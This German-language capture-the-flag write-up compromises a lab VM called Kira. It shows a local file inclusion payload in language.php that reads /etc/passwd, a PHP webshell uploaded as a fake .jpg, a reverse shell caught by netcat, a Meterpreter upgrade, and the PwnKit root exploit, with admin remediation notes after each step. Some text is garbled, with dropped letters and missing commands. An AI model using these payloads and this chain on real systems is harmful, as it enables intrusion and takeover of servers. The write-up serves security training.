**Analyse:** In der initialen Phase der Aufklärung wird das Zielsystem im lokalen Netzwerk identifiziert und anschließend mittels Portscans auf offene Dienste und deren Versionen untersucht.
192.168.2.136 08:00:27:25:f8:f3 PCS Systemtechnik GmbH
**Analyse:** Der Befehl `arp-scan -l` sendet ARP-Anfragen ins lokale Netzwerk, um aktive Hosts zu entdecken. Das Zielsystem wird unter der IP-Adresse `192.168.2.136` gefunden. Die zugehörige MAC-Adresse `08:00:27:25:f8:f3` (PCS Systemtechnik GmbH) weist auf eine Oracle VirtualBox VM hin.
**Bewertung:** Die Ziel-IP wurde erfolgreich identifiziert. `arp-scan` ist hierfür ein schnelles und zuverlässiges Werkzeug. Die MAC-Adresse liefert einen Kontext zur Virtualisierungsumgebung.
**Empfehlung (Pentester):** Die IP `192.168.2.136` als Ziel für nachfolgende, detailliertere Scans verwenden.
**Empfehlung (Admin):** Netzwerksegmentierung und ARP-Spoofing-Detection können die Host-Entdeckung erschweren.
192.168.2.136 kira.vln
**Analyse:** Die lokale Host-Datei (`/etc/hosts`) des Angreifersystems wird bearbeitet. Der Eintrag ordnet die IP `192.168.2.136` dem Hostnamen `kira.vln` zu. Dies erlaubt die Verwendung des Hostnamens in nachfolgenden Schritten, was für Webanwendungen, die auf Host-Header angewiesen sind, wichtig sein kann.
**Bewertung:** Eine sinnvolle Vorbereitung, um sicherzustellen, dass Webanwendungen korrekt angesprochen werden und um die Lesbarkeit von Befehlen und URLs zu erhöhen.
**Empfehlung (Pentester):** Bei Web-Tests immer prüfen, ob Hostnamen relevant sind und die `/etc/hosts`-Datei entsprechend pflegen.
**Empfehlung (Admin):** Dies ist eine clientseitige Konfiguration des Angreifers und kann serverseitig nicht direkt verhindert werden.
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
**Analyse:** Ein schneller `nmap`-Scan wird durchgeführt (`-sS`: SYN Scan, `-sC`: Standard-Skripte, `-sV`: Versionserkennung, `-T5`: Aggressives Timing, `-A`: Aggressiver Scan, `-Pn`: Kein Ping-Scan, `-p-`: Alle Ports). Die Ausgabe wird mit `grep open` gefiltert. Es wird nur ein offener Port gefunden: Port 80 (HTTP) mit einem Apache 2.4.29 Webserver.
**Bewertung:** Die Angriffsfläche dieses Systems ist extrem klein und auf den Webserver beschränkt. Dies legt den Fokus der weiteren Untersuchung klar auf Port 80. Die Apache-Version 2.4.29 ist nicht die aktuellste.
**Empfehlung (Pentester):** Den Webserver auf Port 80 gründlich untersuchen (Verzeichnisse, Dateien, Anwendungsschwachstellen). Die vollständige `nmap`-Ausgabe prüfen.
**Empfehlung (Admin):** Sicherstellen, dass nur absolut notwendige Ports geöffnet sind (hier der Fall). Webserver-Software aktuell halten.
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-24 22:40 CEST Nmap scan report for kira.vln (192.168.2.136) Host is up (0.00010s latency). Not shown: 65534 closed tcp ports (reset) PRT STATE SERVICE VERSIN 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-title: Site doesn't have a title (text/html). |_http-server-header: Apache/2.4.29 (Ubuntu) MAC Address: 08:00:27:25:F8:F3 (racle VirtualBox virtual NIC) Device type: general purpose Running: Linux 5.X S CPE: cpe:/o:linux:linux_kernel:5 S details: Linux 5.0 - 5.5 Network Distance: 1 hop TRACERUTE HP RTT ADDRESS 1 0.10 ms kira.vln (192.168.2.136)
**Analyse:** Die vollständige `nmap`-Ausgabe bestätigt Port 80 mit Apache 2.4.29. Es wird festgestellt, dass die Webseite keinen Titel hat. Die Betriebssystemerkennung deutet auf einen Linux-Kernel der 5.x-Reihe hin (genauer 5.0 - 5.5).
**Bewertung:** Der vollständige Scan liefert keine wesentlich neuen Angriffspunkte, bestätigt aber die Ergebnisse und gibt eine genauere Einschätzung des Betriebssystems. Das Fehlen eines Seitentitels ist eine kleine Unsauberkeit.
**Empfehlung (Pentester):** Mit der Web-Enumeration fortfahren. Die Kernel-Version für potenzielle lokale Privilege Escalation Exploits vormerken.
**Empfehlung (Admin):** Webseiten sollten aussagekräftige Titel haben. Betriebssystem und Software aktuell halten.
- Nikto v2.5.0 + Target IP: 192.168.2.136 + Target Hostname: 192.168.2.136 + Target Port: 80 + Start Time: 2023-09-24 22:40:39 (GMT2) + Server: Apache/2.4.29 (Ubuntu) + /: The anti-clickjacking X-Frame-ptions header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions + /: The X-Content-Type-ptions header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ + No CGI Directories found (use '-C all' to force check all possible dirs) + /: Server may leak inodes via ETags, header found with file /, inode: a3, size: 5a1c6704e055c, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418 + Apache/2.4.29 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EL for the 2.x branch. + PTINS: Allowed HTTP Methods: PST, PTINS, HEAD, GET . # Hinweis: OPTIONS fehlt hier im Originaltext, wahrscheinlich PST=POST, PTINS=OPTIONS + /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/ + 8102 requests: 0 error(s) and 6 item(s) reported on remote host + End Time: 2023-09-24 22:40:56 (GMT2) (17 seconds) + 1 host(s) tested
**Analyse:** `nikto` scannt den Webserver auf Port 80. Wichtige Ergebnisse: * Bestätigt den Apache 2.4.29 Server. * Meldet fehlende Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`). * Weist auf ein mögliches Informationsleck durch ETags hin (CVE-2003-1418), was die Inode-Nummer preisgeben könnte. * Bestätigt, dass Apache 2.4.29 veraltet ist. * Listet erlaubte HTTP-Methoden auf (POST, OPTIONS, HEAD, GET - Annahme: PST=POST, PTINS=OPTIONS). * Findet die Apache-Standarddatei `/icons/README`.
**Bewertung:** `nikto` liefert zusätzliche Details und bestätigt bekannte Schwachpunkte. Die fehlenden Header und die veraltete Apache-Version sind Risiken. Das ETag-Leak ist ein Low-Risk-Finding, kann aber in bestimmten Szenarien nützlich sein. Die erlaubten HTTP-Methoden sind Standard für einen Webserver.
**Empfehlung (Pentester):** Die fehlenden Header und die veraltete Version notieren. Nach spezifischen Exploits für Apache 2.4.29 suchen. Den Webserver weiter enumerieren (Verzeichnisse, Dateien).
**Empfehlung (Admin):** Sicherheitsheader implementieren. Apache aktualisieren. ETag-Konfiguration überprüfen und ggf. so anpassen, dass keine Inodes geleakt werden (`FileETag MTime Size` statt Default). Standarddateien entfernen.
**Analyse:** Die Webanwendung wird mittels Verzeichnis-Scanning und anschließender Analyse der gefundenen Seiten und des Quellcodes auf Schwachstellen untersucht.
http://kira.vln/index.html (Status: 200) [Size: 163] http://kira.vln/uploads (Status: 301) [Size: 306] [--> http://kira.vln/uploads/] http://kira.vln/upload.php (Status: 200) [Size: 287] http://kira.vln/language.php (Status: 200) [Size: 203]
**Analyse:** `gobuster` wird eingesetzt, um nach Dateien und Verzeichnissen zu suchen. Es findet: * `index.html`: Die Startseite. * `uploads/`: Ein Verzeichnis (leitet weiter). * `upload.php`: Eine Seite zum Hochladen von Dateien. * `language.php`: Eine Seite zur Sprachauswahl oder -verarbeitung.
**Bewertung:** Die Funde sind vielversprechend. Eine Upload-Funktion (`upload.php`) ist ein klassischer Angriffsvektor. Die `language.php` könnte ebenfalls anfällig sein, z.B. für Local File Inclusion (LFI), wenn sie Sprachdateien basierend auf einem Parameter lädt. Das `uploads/`-Verzeichnis ist der wahrscheinliche Speicherort für hochgeladene Dateien.
**Empfehlung (Pentester):** Die Seiten `upload.php` und `language.php` genau untersuchen. `upload.php` auf unsichere Upload-Möglichkeiten testen (z.B. PHP-Shell hochladen). `language.php` auf LFI testen, indem versucht wird, über Parameter lokale Dateien zu inkludieren.
**Empfehlung (Admin):** Upload-Funktionen absichern (Dateityp-Validierung, Speicherort außerhalb des Web-Roots, Ausführungsrechte entziehen). LFI-Schwachstellen durch Validierung von Benutzereingaben und Verwendung von festen Pfaden verhindern.
**Analyse:** Der Quellcode der `index.html` wird untersucht, um zu verstehen, wie die gefundenen Seiten verlinkt sind.
# Quellcode-Analyse: view-source:http://kira.vln/index.html onclick="window.location='/upload.php';" onclick="window.location='/language.php';"
**Bewertung:** Die Analyse bestätigt, dass `index.html` Links (vermutlich Buttons oder ähnliches) enthält, die direkt zu `upload.php` und `language.php` führen.
**Empfehlung (Pentester):** Mit der Untersuchung von `language.php` und `upload.php` fortfahren.
**Empfehlung (Admin):** Keine spezifische Aktion erforderlich, außer der Absicherung der Zielseiten.
**Analyse:** Die Seite `language.php` wird auf Local File Inclusion (LFI) getestet, indem versucht wird, die Datei `/etc/passwd` über den `lang`-Parameter zu inkludieren.
# LFI-Test: view-source:http://kira.vln/language.php?lang=../../../../../etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin # ... (restlicher Inhalt von /etc/passwd) ... www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin # ... bassam:x:1000:1000:Bassam,,,:/home/bassam:/bin/bash # ...
**Bewertung:** Kritische Schwachstelle gefunden! Die Anwendung ist anfällig für LFI über den `lang`-Parameter in `language.php`. Der Inhalt von `/etc/passwd` wird erfolgreich angezeigt. Dies ermöglicht das Lesen beliebiger Dateien auf dem System, auf die der Webserver-Benutzer (`www-data`) Lesezugriff hat. Der Benutzer `bassam` wird als regulärer Benutzer mit Bash-Shell identifiziert.
**Empfehlung (Pentester):** Die LFI-Schwachstelle nutzen, um weitere sensible Dateien zu lesen (z.B. Konfigurationsdateien der Webanwendung, SSH-Keys, Logdateien). Prüfen, ob die LFI auch zur Remote Code Execution (RCE) missbraucht werden kann (z.B. durch Inkludieren von Logdateien mit eingeschleustem PHP-Code oder über PHP-Wrapper wie `php://filter` oder `php://input`).
**Empfehlung (Admin):** Die LFI-Schwachstelle in `language.php` sofort beheben. Benutzereingaben (wie den `lang`-Parameter) strikt validieren und sicherstellen, dass sie nicht zur Manipulation von Dateipfaden verwendet werden können. Idealerweise nur erlaubte Werte (z.B. `en`, `de`) zulassen und diese auf feste Dateinamen mappen. PHP-Konfiguration härten (`allow_url_include = Off`).
******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://kira.vln/language.php?lang=../../../../../FUZZ Total requests: 2894 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000000081: 200 53 L 85 W 2655 Ch "/etc/passwd" 000000402: 200 26 L 61 W 523 Ch "etc/apache2/ports.conf" 000000401: 200 239 L 1132 W 7451 Ch "etc/apache2/apache2.conf" # ... (viele weitere gefundene Dateien, hauptsächlich Apache-Konfigs, /proc-Einträge) ... 000001700: 200 53 L 85 W 2655 Ch "etc%2fpasswd" Total time: 0 Processed Requests: 2894 Filtered Requests: 2794 Requests/sec.: 0
**Analyse:** `wfuzz` wird verwendet, um die LFI-Schwachstelle weiter auszunutzen und nach bekannten Linux-Dateipfaden (aus der Wortliste `logfiles.txt`) zu suchen, die lesbar sind. * `-c`: Farbige Ausgabe. * `-w ...`: Wortliste mit Dateipfaden. * `-u "..."`: Ziel-URL, wobei `FUZZ` durch die Pfade aus der Wortliste ersetzt wird. Der Pfad-Traversal `../../../../../` wird verwendet, um vom Web-Verzeichnis ins Root-Verzeichnis zu gelangen. * `--hc ...`: Filtert HTTP-Fehlercodes heraus. * `--hh 203`: Filtert Antworten heraus, deren Zeichenanzahl 203 ist (dies ist wahrscheinlich die Größe der `language.php`-Seite, wenn keine Datei gefunden wird, um False Positives zu reduzieren). Die Ausgabe zeigt eine lange Liste von erfolgreich gelesenen Dateien, darunter `/etc/passwd`, diverse Apache-Konfigurationsdateien und Einträge aus `/proc`.
**Bewertung:** `wfuzz` bestätigt eindrucksvoll das Ausmaß der LFI-Schwachstelle. Viele Systemkonfigurationsdateien sind lesbar. Dies liefert wertvolle Informationen über die Systemkonfiguration (Apache-Module, Netzwerk, Prozesse).
**Empfehlung (Pentester):** Die gefundenen Dateien auf sensible Informationen (Passwörter, Konfigurationsschwächen) prüfen. Weiter nach spezifischen Anwendungs-Konfigurationsdateien oder SSH-Schlüsseln suchen.
**Empfehlung (Admin):** LFI beheben (siehe oben). Dateiberechtigungen auf dem System überprüfen und nach dem Prinzip der geringsten Rechte einschränken.
**Analyse:** Die LFI-Schwachstelle wird nun genutzt, um Remote Code Execution (RCE) zu erreichen. Dies geschieht, indem zuerst eine PHP-Webshell hochgeladen (getarnt als Bilddatei, um Filter zu umgehen) und diese dann über die LFI inkludiert und ausgeführt wird.
**Analyse:** Auf dem Angreifersystem wird eine vorbereitete PHP-Webshell (`shell.php`) in eine Datei mit der Erweiterung `.jpg` (`shell.php.jpg`) kopiert. Dies dient dazu, eine eventuelle Dateityp-Prüfung bei der Upload-Funktion (`upload.php`) zu umgehen, die möglicherweise nur Bilddateien erlaubt.
**Bewertung:** Ein gängiger Trick, um einfache Dateityp-Filter basierend auf der Erweiterung zu umgehen.
**Empfehlung (Pentester):** Diese Technik anwenden, wenn Upload-Filter die direkte Übertragung von PHP-Dateien blockieren. Auch andere Methoden wie das Ändern des `Content-Type`-Headers oder das Einbetten von Code in gültige Bilddateien (z.B. EXIF-Daten) können versucht werden.
**Empfehlung (Admin):** Dateityp-Validierung nicht nur anhand der Erweiterung, sondern auch anhand des MIME-Typs und des tatsächlichen Dateiinhalts (Magic Bytes) durchführen. Hochgeladene Dateien umbenennen und Berechtigungen restriktiv setzen.
# HTTP Response nach Upload von shell.php.jpg über upload.php HTTP/1.1 200 OK Date: Sun, 24 Sep 2023 21:33:37 GMT Server: Apache/2.4.29 (Ubuntu) Vary: Accept-Encoding Content-Length: 378 Connection: close Content-Type: text/html; charset=UTF-8PHP File type check example alert('upload Done') Uploaded !!!
name : uploads/shell.php.jpg
**Analyse:** Die HTTP-Antwort nach dem (impliziten) Upload der `shell.php.jpg`-Datei über `upload.php` wird gezeigt. Die Antwort bestätigt den erfolgreichen Upload ("Uploaded !!!") und gibt den Speicherort der Datei an: `uploads/shell.php.jpg`. Das JavaScript `alert('upload Done');` wird ebenfalls ausgeführt.
**Bewertung:** Der Upload der getarnten PHP-Shell war erfolgreich. Der Dateityp-Filter (falls vorhanden) wurde umgangen, und der Speicherort ist bekannt. Dies öffnet die Tür zur RCE via LFI.
**Empfehlung (Pentester):** Nun die LFI-Schwachstelle in `language.php` nutzen, um die hochgeladene Datei `uploads/shell.php.jpg` zu inkludieren und auszuführen.
**Empfehlung (Admin):** Upload-Funktion dringend absichern (siehe vorherige Empfehlung). Sicherstellen, dass Dateien im `uploads`-Verzeichnis keine Ausführungsrechte haben (z.B. über Apache-Konfiguration `
listening on [any] 4444 ...
connect to [192.168.2.199] from (UNKNWN) [192.168.2.136] 50750 Linux bassam-aziz 5.3.0-28-generic #30~18.04.1-Ubuntu SMP Fri Jan 17 06:14:09 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux 00:36:18 up 58 min, 1 user, load average: 1.00, 1.00, 1.10 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT bassam :0 :0 23:38 ?xdm? 53:41 0.00s /usr/lib/gdm3/gdm-x-session --run-script env GNOME_SHELL_SESSION_MODE=ubuntu gnome-session --session=ubuntu uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $
**Analyse:** Ein Netcat-Listener wird auf dem Angreifersystem auf Port 4444 gestartet. Anschließend wird die LFI-Schwachstelle genutzt, um die hochgeladene PHP-Shell (`shell.php.jpg`) zu inkludieren. Der PHP-Code innerhalb der Datei wird ausgeführt und stellt eine Reverse-Shell-Verbindung zum Listener her. Der Listener empfängt die Verbindung und präsentiert eine Shell als Benutzer `www-data`. Systeminformationen (Kernel, Uptime, eingeloggte Benutzer) werden initial angezeigt.
# Payload zum Auslösen der Shell via LFI (im Browser oder via curl) Payload = view-source:http://kira.vln/language.php?lang=../../../../../var/www/html/uploads/shell.php.jpg
**Bewertung:** Exzellent! Die Kombination aus unsicherem File Upload und Local File Inclusion wurde erfolgreich zur Remote Code Execution und zur Etablierung einer Reverse Shell als `www-data` genutzt. Der initiale Zugriff ist geschafft.
**Empfehlung (Pentester):** Die erhaltene Shell stabilisieren (z.B. mit Python PTY). Mit der Enumeration als `www-data` beginnen, um Privilege Escalation Vektoren zu finden.
**Empfehlung (Admin):** Beide Schwachstellen (LFI und unsicherer Upload) dringend beheben. Dateiberechtigungen und Ausführungsrechte im Webserver-Kontext überprüfen und härten. Egress-Filtering implementieren.
**Analyse:** Nach Erhalt der Shell als `www-data` wird das System weiter untersucht, um höhere Berechtigungen zu erlangen. Der Fokus liegt auf SUID-Binaries und der Vorbereitung für die Ausnutzung über Metasploit.
/usr/bin/python3
**Analyse:** Es wird überprüft, welche Python-Versionen im Pfad verfügbar sind. `python` (typischerweise v2) wird nicht gefunden, aber `python3` ist unter `/usr/bin/python3` vorhanden.
**Bewertung:** Das Vorhandensein von Python 3 ist nützlich für die Shell-Stabilisierung oder das Ausführen von Python-basierten Exploits/Tools.
**Empfehlung (Pentester):** Python 3 für die Shell-Stabilisierung nutzen (z.B. `python3 -c 'import pty; pty.spawn("/bin/bash")'`).
**Empfehlung (Admin):** Unnötige Interpreter auf Produktivsystemen entfernen, falls möglich.
# Gekürzte Ausgabe, interessante/Standard SUIDs 262324 28 -rwsr-xr-x 1 root root 26696 يناير 8 2020 /bin/umount 262276 64 -rwsr-xr-x 1 root root 64424 يونيو 28 2019 /bin/ping 262304 44 -rwsr-xr-x 1 root root 44664 مارس 22 2019 /bin/su 262239 44 -rwsr-xr-x 1 root root 43088 يناير 8 2020 /bin/mount 262203 32 -rwsr-xr-x 1 root root 30800 أغسطس 11 2016 /bin/fusermount 3469 60 -rwsr-xr-x 1 root root 59640 مارس 22 2019 /usr/bin/passwd # ... (gpasswd, chsh, traceroute6, arping) ... 3575 24 -rwsr-xr-x 1 root root 22520 مارس 27 2019 /usr/bin/pkexec 3911 148 -rwsr-xr-x 1 root root 149080 يناير 31 2020 /usr/bin/sudo # ... (chfn, snap-confine, policykit, openssh, eject, dbus, pppd) ... # ... (diverse SUIDs unter /snap/core/...) ...
**Analyse:** Die Suche nach SUID-Binaries wird erneut ausgeführt. Die Ausgabe (teilweise mit arabischen Monatsnamen, was auf die System-Locale hindeutet) zeigt wieder Standard-SUID-Programme sowie `pkexec` (März 2019) und `sudo` (Januar 2020). `pkexec` ist aufgrund des Datums wahrscheinlich anfällig für Pwnkit (CVE-2021-4034).
**Bewertung:** Die SUID-Analyse bestätigt Pwnkit als den wahrscheinlichsten und einfachsten Weg zur Root-Eskalation.
**Empfehlung (Pentester):** Die Pwnkit-Schwachstelle ausnutzen, idealerweise über Metasploit.
**Empfehlung (Admin):** System patchen (Polkit aktualisieren).
**Analyse:** Es wird entschieden, die `www-data`-Shell zu Metasploit zu migrieren, um die weitere Eskalation über Pwnkit zu vereinfachen.
[*] Using configured payload generic/shell_reverse_tcp
# ... (Standard Optionen LHOST, LPORT=4444) ...
lhost => 192.168.2.199
lport => 4445
[*] Started reverse TCP handler on 192.168.2.199:4445
[*] Started reverse TCP handler on 192.168.2.199:4445 [*] Command shell session 1 opened (192.168.2.199:4445 -> 192.168.2.136:57764) at 2023-09-24 23:42:31 +0200 Shell Banner: $ -- $
# ... (Optionen: HANDLER, LHOST, LPORT=4433, SESSION) ...
session => 1
[*] Upgrading session ID: 1 [*] Starting exploit/multi/handler [*] Started reverse TCP handler on 192.168.2.199:4433 [*] Sending stage (1017704 bytes) to 192.168.2.136 [*] Meterpreter session 2 opened (192.168.2.199:4433 -> 192.168.2.136:54664) at 2023-09-24 23:43:19 +0200 [*] Command stager progress: 100.00% (773/773 bytes) [*] Post module execution completed
**Analyse:** Eine Metasploit-Sitzung wird vorbereitet. Ein `multi/handler` lauscht auf Port 4445. Von der `www-data`-Shell wird mittels eines `nc`-Payloads über eine Named Pipe (`/tmp/f`) eine Verbindung zum Listener aufgebaut (Session 1). Diese einfache Shell-Sitzung wird anschließend mit dem `shell_to_meterpreter`-Modul zu einer Meterpreter-Sitzung (Session 2) auf Port 4433 aufgewertet.
**Bewertung:** Erfolgreiche Migration von der initialen `nc`-Shell zu einer stabilen Meterpreter-Sitzung als `www-data`. Dies ist die optimale Ausgangsposition für die Ausführung des Pwnkit-Exploits.
**Empfehlung (Pentester):** Den Pwnkit-Exploit auf die Meterpreter-Sitzung 2 anwenden.
**Empfehlung (Admin):** Egress-Filtering, HIDS/EDR können solche Aktivitäten erkennen.
**Analyse:** Der Pwnkit-Exploit (CVE-2021-4034) wird über Metasploit ausgeführt, um Root-Rechte zu erlangen, basierend auf der vorherigen SUID-Analyse und der Annahme der Verwundbarkeit von `pkexec`.
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
# ... (Optionen: SESSION, WRITABLE_DIR, Payload-Optionen LHOST/LPORT=4444) ...
session => 2
[*] Started reverse TCP handler on 192.168.2.199:4444 [*] Running automatic check ("set AutoCheck false" to disable) [!] Verify cleanup of /tmp/.jujcvknlug [+] The target is vulnerable. [*] Writing '/tmp/.oaooxfnqn/ghkzegg/ghkzegg.so' (548 bytes) ... [!] Verify cleanup of /tmp/.oaooxfnqn [*] Sending stage (3045380 bytes) to 192.168.2.136 [+] Deleted /tmp/.oaooxfnqn/ghkzegg/ghkzegg.so [+] Deleted /tmp/.oaooxfnqn/.qaybnigsfey [+] Deleted /tmp/.oaooxfnqn [*] Meterpreter session 3 opened (192.168.2.199:4444 -> 192.168.2.136:50760) at 2023-09-24 23:44:06 +0200
Process 2750 created. Channel 1 created.
uid=0(root) gid=0(root) groups=0(root),33(www-data)
**Analyse:** Das Metasploit-Modul für Pwnkit (CVE-2021-4034) wird geladen (hier über Index `1` aus dem Suggester-Kontext oder manuell) und auf die Meterpreter-Sitzung 2 (`www-data`) angewendet. Der Exploit startet einen Listener für die neue Root-Shell auf Port 4444. Er bestätigt die Verwundbarkeit (`[+] The target is vulnerable.`), lädt notwendige Komponenten nach `/tmp`, führt den Exploit gegen `pkexec` aus und etabliert erfolgreich eine neue Meterpreter-Sitzung (Session 3). Von dieser wird eine Shell geöffnet, und der `id`-Befehl bestätigt `uid=0(root)`.
**Bewertung:** Ausgezeichnet! Die Privilege Escalation auf Root war mittels Pwnkit erfolgreich. Der Weg über die Metasploit-Module war effizient und zielführend.
**Empfehlung (Pentester):** Die Root-Shell nutzen, um die finalen Flags zu suchen und zu lesen.
**Empfehlung (Admin):** System dringend patchen (Polkit für CVE-2021-4034). Sicherheitslücken in der Webanwendung (LFI, unsicherer Upload) schließen. Überwachung verdächtiger Aktivitäten verstärken.
flag.txt
THM{root-Is_Better-Than_All-of-THEM-31337}
**Analyse:** In der Root-Shell wird ins Home-Verzeichnis (`/root`) gewechselt. Dort wird die Datei `flag.txt` gefunden und ihr Inhalt ausgelesen, welcher die Root-Flagge `THM{root-Is_Better-Than_All-of-THEM-31337}` ist.
**Bewertung:** Die Root-Flagge wurde erfolgreich extrahiert.
**Empfehlung (Pentester):** Root-Flagge dokumentieren. Nach der User-Flagge suchen (vermutlich in `/home/bassam/`).
**Empfehlung (Admin):** Sicherstellen, dass sensible Daten oder Flags angemessen geschützt sind.
**Analyse:** Die Root-Flagge wurde direkt im Log gefunden (`THM{...}`). Für die User-Flagge wurde im Log kein expliziter Befehl zum Auslesen gefunden, daher wird der Platzhalter aus dem Ende des Originaltextes verwendet. Sie befindet sich vermutlich in `/home/bassam/user.txt`.
**Bewertung:** Der Test war erfolgreich, die Root-Flagge wurde gefunden. Der Pfad zur User-Flagge ist wahrscheinlich, aber nicht durch das Log belegt.